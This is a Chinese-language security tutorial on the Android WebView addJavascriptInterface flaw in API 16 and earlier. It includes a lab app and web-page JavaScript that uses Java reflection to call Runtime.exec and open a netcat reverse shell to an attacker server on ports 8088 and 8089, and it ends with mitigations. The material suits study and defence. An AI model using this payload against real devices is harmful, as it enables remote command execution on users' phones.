0x00 addJavascriptInterface介绍
WebView是Android平台下的一个重要组件,通常用来在Activity中嵌入一个简单的浏览器,实现在线网页浏览的功能。比如下面代码实现访问Google页面:
WebView webView = new WebView (R.id.webView1);
webView.getSettings().setJavaScriptEnabled(true);
为了与Web页面实现动态交互,Android应用程序允许WebView通过WebView.addJavascriptInterface接口向Web页面注入Java对象,页面Javascript脚本可直接引用该对象并调用该对象的方法。
//Java code
wv.addJavascriptInterface(new FileUtils(), "FUtil")
...
//Javascript code
<script type="text/javascript">
filename = '/mnt/sdcard/test.txt';
FUtil.write(filename, data, false);
</script>
在Android <=4.1.2 (API 16),WebView使用WebKit浏览器引擎,并未正确限制addJavascriptInterface的使用方法,在应用权限范围内,攻击者可以通过Java反射机制实现任意命令执行。
在Android >=4.2 (API 17),WebView使用Chromium浏览器引擎,并且限制了Javascript对Java对象方法的调用权限,只有声明了@JavascriptInterace注解的方法才能被Web页面调用。
0x01 实验: 远程获得shell
实验环境
- Nexus 5 API 16 arm
- compileSdkVersion 23
- Android Studio
测试App代码
AndroidManifest.xml文件声明App网络访问权限:
<uses-permission android:name="android.permission.INTERNET"></uses-permission>
MainActivity.java中声明WebView对象并向页面注入Java对象WebAppInterface,最后访问本地Web服务器:
WebView mywebview = (WebView)findViewById(R.id.webView);
/** Make javascript runable */
mywebview.getSettings().setJavaScriptEnabled(true);
mywebview.addJavascriptInterface(new WebAppInterface(this), "interfaceObject");
mywebview.loadUrl("http://192.168.1.101");
WebAppInterface对象定义如下(对象为空即可):
public class WebAppInterface {
}
Web页面JS代码
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
ret= interfaceObject.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','nc 192.168.1.101 8088|/system/bin/sh|nc 192.168.1.101 8089']);
}catch(e){
}
}
} catch(e) {
}
}
} check();
</script>
在Javascript代码中,利用Java反射机制,通过interfaceObject获取当前Runtime对象引用,并调用其exec方法执行nc命令连接服务器8088及8089端口。
实验步骤
-
服务器通过ncat监听8088,8089端口
- 打开测试App
-
通过8088端口发送远程命令,通过8089端口回显结果
0x02 其他攻击手法
-
iframe劫持
0x03 解决方法
- 升级系统至Android 4.2以上;
- 尽量不使用addJavascriptInterface;